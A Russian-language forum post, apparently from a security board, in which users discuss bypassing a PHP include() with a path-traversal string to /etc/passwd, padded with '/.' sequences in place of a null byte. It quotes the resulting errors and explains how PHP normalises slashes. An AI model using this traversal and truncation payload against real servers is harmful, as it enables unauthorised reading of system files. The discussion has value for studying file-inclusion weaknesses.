Показать сообщение отдельно

  #9  
Старый 30.09.2012, 14:24
0o Chris o0
Участник форума
Регистрация: 16.10.2011
Сообщений: 142
С нами: 7670486

Репутация: 0
По умолчанию

Цитата:
Сообщение от RazyKK  
попробуй вместо нулл байта 4096 слешей
../../../../../../../etc/passwd/////////////////////////////...
Только хотел про это написать) Подставил вместо нулл-байта 2500 повторений /.

Получилась такая строка ../../../../../../../etc/passwd/./././.[...]/./.

В таком случае все время ошибка:

Код:
Warning: include(../../../../../../../etc/passwd/././././.[...]/././././././. in /var/www/include.php on line 2 Warning: include(): Failed opening '../../../../../../../etc/passwd/./././././././.[...]/./././././. in /var/www/include.php on line 2
P.S. просто 4096 слэшей не будут работать, т.к. php обрабатывает их не так, как /. . /. удаляется полностью, а // меняются на /, в итоге в конце получим путь не к файлу, а к директории.
 
Ответить с цитированием